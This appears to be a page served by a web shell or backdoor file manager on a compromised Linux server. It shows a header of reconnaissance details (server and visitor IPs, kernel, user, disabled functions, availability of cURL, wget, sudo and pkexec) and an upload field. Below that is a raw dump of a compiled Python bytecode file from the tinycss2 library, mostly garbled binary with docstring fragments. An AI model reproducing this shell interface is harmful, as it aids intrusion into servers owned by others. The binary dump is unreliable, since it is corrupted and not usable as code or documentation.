| Server IP : 202.61.199.114 / Your IP : 216.73.217.139 Web Server : nginx/1.22.1 System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64 User : web20 ( 1018) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /tmp/calpy/tinycss2/__pycache__/ |
Upload File : |
�
Υ=jz\ � �t � d Z ddlmZ ddlmZmZmZ G d� d� � Z G d� de� � Z G d � d
e� � Z G d� de� � Z
G d
� de� � Z G d� de� � Z G d� de� � Z
G d� de� � Z G d� de� � Z G d� de� � Z G d� de� � Z G d� de� � Z G d� de� � Z G d� d e� � Z G d!� d"e� � Z G d#� d$e� � Z G d%� d&e� � Z G d'� d(e� � Z G d)� d*e� � Z G d+� d,e� � Z G d-� d.e� � Zd/S )0z5
Data structures for the CSS abstract syntax tree.
� )�ascii_lower� )�
_serialize_to�serialize_identifier�serialize_namec �2 � e Zd ZdZddgZd� Zd� Zd� Zd� ZdS ) �Nodea� Every node type inherits from this class,
which is never instantiated directly.
.. attribute:: type
Each child class has a :attr:`type` class attribute
with a unique string value.
This allows checking for the node type with code like:
.. code-block:: python
if node.type == 'whitespace':
instead of the more verbose:
.. code-block:: python
from tinycss2.ast import WhitespaceToken
if isinstance(node, WhitespaceToken):
Every node also has these attributes and methods,
which are not repeated for brevity:
.. attribute:: source_line
The line number of the start of the node in the CSS source.
Starts at 1.
.. attribute:: source_column
The column number within :attr:`source_line` of the start of the node
in the CSS source.
Starts at 1.
.. automethod:: serialize
�
source_column�source_linec �"